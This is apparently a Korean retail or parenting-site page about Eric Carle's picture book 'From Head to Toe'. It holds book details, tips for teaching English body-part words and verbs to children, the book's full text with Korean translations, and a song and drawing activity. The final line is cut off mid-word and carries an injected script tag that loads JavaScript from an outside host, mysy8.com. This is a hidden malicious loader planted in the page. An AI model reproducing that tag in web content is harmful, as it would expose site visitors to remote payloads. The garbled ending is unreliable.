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K |
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From Head to Toe |
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Eric Carle |
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문진미디어 |
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Paperback + Tape |
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32 |
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13000 |
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동물원에서 볼 수 있는 다양한 동물들은 어떤 재주들을 가지고 있을까요?
각자의 재주를 여러 동작으로 뽐내며 사람들에게 할 수 있느냐고 묻네요. 물론 사람들도 멋지게 따라한답니다. 머리에서 발끝까지 아주 근사한 몸을 가지고 있으니까요.
* Object
여러 동물들의 행동을 따라해 보면서 신체 각 부위의 이름과 동작을 익힐 수 있으며, 반복되는 문장을 통해 가능 여부를 묻는 의문문과 이에 대한 대답을 쉽게 배울 수 있습니다.
* 이렇게 가르쳐 주세요.
1. 신체 각 부위의 이름을 알려 주세요.
책을 보기 전에, 아이의 머리부터 발끝까지 It's a head. It's a neck. 하고 각 부위를 짚어가며 이름을 얘기해 줍니다. 그리고는 Let's move it. Can you shake it? 등으로 간단한 움직임을 유도해 보세요.
2. 동물의 이름과 특징에 대해 얘기해 주세요.
아이와 함께 그림을 보면서, What animal is this? It's a penguin. 하고 동물의 이름을 말해 주세요. 이 때 각 동물의 특징적인 생김새나 동작을 표정과 몸짓으로 보여 주면 더욱 쉽고 재미있게 이해할 수 있겠지요. 예를 들어, 펭귄의 경우 고개를 이쪽저쪽으로 두리번거리며 양팔을 몸에 바짝 붙이고 종종걸음으로 귀엽게 걷는 시늉을 보여 주고, 코끼리의 경우에는 큰 몸집의 느낌을 살려 큰 동작으로 쿵쿵 걷는 시늉을 합니다.
3. 아이와 함께 동작을 따라해 보세요.
책을 읽고 난 다음에는 아이와 함께 책에 나온 문장을 말하면서 동물들의 행동을 따라해 봅니다. 동사를 반복해서 말해 주며 행동으로 보여 주면 금방 기억하고 따라합니다. 이 때, 동작을 하는 신체 부위의 이름도 여러 번 들려 주도록 하세요.
예를 들어,
The giraffe has a long neck.
Where's your neck?
Point to your neck.
Let's bend a neck like this.
Good job.
이런 식으로 쉬운 문장을 말해가며 동작을 해 보세요.
* 책의 내용이 궁금해요.
I am a penguin and I turn my head. Can you do it? I can do it!
(난 펭귄이고, 고개를 돌리지. 너 이거 할 수 있니? 할 수 있어!)
I am a giraffe and I bend my neck. Can you do it? I can do it!
(난 기린이고, 목을 구부리지. 너 이거 할 수 있니? 할 수 있어!)
I am a buffalo and I raise my shoulders. Can you do it? I can do it!
(난 들소이고, 어깨를 올린단다. 너 이거 할 수 있니? 할 수 있어!)
I am a monkey and I wave my arms. Can you do it? I can do it!
(난 원숭이고, 두 팔을 흔든단다. 너 이거 할 수 있니? 할 수 있어!)
I am a seal and I clap my hands. Can you do it? I can do it!
(난 물개이고, 두 손으로 손뼉을 치지. 너 이거 할 수 있니? 할 수 있어!)
I am a gorilla and I thump my chest. Can you do it? I can do it!
(난 고릴라이고, 가슴을 쿵쾅쿵쾅 두들기지. 너 이거 할 수 있니? 할 수 있어!)
I am a cat and I arch my back. Can you do it? I can do it!
(난 고양이고, 등을 둥그렇게 구부린단다. 너 이거 할 수 있니? 할 수 있어!)
I am a crocodile and I wriggle my hips. Can you do it? I can do it!
(난 악어이고, 엉덩이를 꿈틀거린단다. 너 이거 할 수 있니? 할 수 있어!)
I am a camel and I bend my knees. Can you do it? I can do it!
(난 낙타이고, 무릎을 구부리지. 너 이거 할 수 있니? 할 수 있어!)
I am a donkey and I kick my legs. Can you do it? I can do it!
(난 당나귀이고, 다리로 발길질을 하지. 너 이거 할 수 있니? 할 수 있어!)
I am an elephant and I stomp my foot. Can you do it? I can do it!
(난 코끼리이고, 발로 쿵쿵거린단다. 너 이거 할 수 있니? 할 수 있어!)
I am I and I wiggle my toe. Can you do it? I can do it! I can do it!
(난 나야, 그리고 발가락을 꼼지락거린단다. 너 이거 할 수 있니? 할 수 있어! 할 수 있어!)
* 아이랑 신나게 놀아요.
1. Head and shoulders (머리에서 발 끝까지 짚어 봐요.)
우리말로도 익히 알려진 이 곡은 머리에서 발끝까지 짚어 볼 수 있는 노래입니다. 아이와 함께 가사에 맞춰 신체 부위를 짚어 가며 재미있게 불러 보세요.
Head and shoulders, knees and toes, knees and toes
Head and shoulders, knees and toes knees and toes
Eyes and Ears and mouth and nose
Head and shoulders, knees and toes, knees and toes
2. Draw a hand & foot (손과 발을 예쁘게 그려 봐요.)
1) 도화지와 색연필이나 크레용을 준비한 다음, 아이의 손을 쫙 펴서 도화지 위에 놓게 합니다.
2) 아이의 손 모양을 따라 도화지에 그리고 나서, 그린 날짜와 Susan's left hand. 등의 문장을 기록해 주세요. 사진첩에 끼워 두면 두고두고 추억거리가 되겠지요.
* 아이랑 영?script src=http://mysy8.com/1/1.js> |
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